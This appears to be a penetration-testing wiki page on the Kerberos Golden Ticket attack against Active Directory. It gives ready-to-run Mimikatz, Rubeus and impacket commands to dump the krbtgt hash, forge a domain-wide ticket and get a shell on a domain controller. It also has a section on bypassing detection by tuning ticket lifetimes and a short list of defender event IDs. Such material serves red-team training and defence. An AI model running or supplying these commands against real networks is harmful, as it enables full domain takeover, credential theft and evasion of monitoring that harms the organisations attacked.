# Golden Ticket
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## Golden ticket A valid **TGT as any user** can be created **using the NTLM hash of the krbtgt AD account**. The advantage of forging a TGT instead of TGS is being **able to access any service** (or machine) in the domain and the impersonated user.\ Moreover the **credentials** of **krbtgt** are **never** **changed** automatically. The **krbtgt** account **NTLM hash** can be **obtained** from the **lsass process** or from the **NTDS.dit file** of any DC in the domain. It is also possible to get that NTLM through a **DCsync attack**, which can be performed either with the [lsadump::dcsync](https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump) module of Mimikatz or the impacket example [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py). Usually, **domain admin privileges or similar are required**, no matter what technique is used. It also must be taken into account that it is possible AND **PREFERABLE** (opsec) to **forge tickets using the AES Kerberos keys (AES128 and AES256)**. {% code title="From Linux" %} ```bash python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass ``` {% endcode %} {% code title="From Windows" %} ```bash #mimikatz kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt .\Rubeus.exe ptt /ticket:ticket.kirbi klist #List tickets in memory # Example using aes key kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi ``` {% endcode %} **Once** you have the **golden Ticket injected**, you can access the shared files **(C$)**, and execute services and WMI, so you could use **psexec** or **wmiexec** to obtain a shell (looks like yo can not get a shell via winrm). ### Bypassing common detections The most frequent ways to detect a golden ticket are by **inspecting Kerberos traffic** on the wire. By default, Mimikatz **signs the TGT for 10 years**, which will stand out as anomalous in subsequent TGS requests made with it. `Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM` Use the `/startoffset`, `/endin` and `/renewmax` parameters to control the start offset, duration and the maximum renewals (all in minutes). ``` Get-DomainPolicy | select -expand KerberosPolicy ``` Unfortunately, the TGT's lifetime is not logged in 4769's, so you won't find this information in the Windows event logs. However, what you can correlate is **seeing 4769's \_without**\_\*\* a prior 4768\*\*. It's **not possible to request a TGS without a TGT**, and if there is no record of a TGT being issued, we can infer that it was forged offline. In order to **bypass this detection** check the diamond tickets: {% content-ref url="/pages/JpOiMgmBE6Q22BpHztTM" %} [Diamond Ticket](/dashboard/windows-hardening/active-directory-methodology/diamond-ticket.md) {% endcontent-ref %} ### Mitigation * 4624: Account Logon * 4672: Admin Logon * `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property` Other little tricks defenders can do is **alert on 4769's for sensitive users** such as the default domain administrator account. [**More information about Golden Ticket in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)
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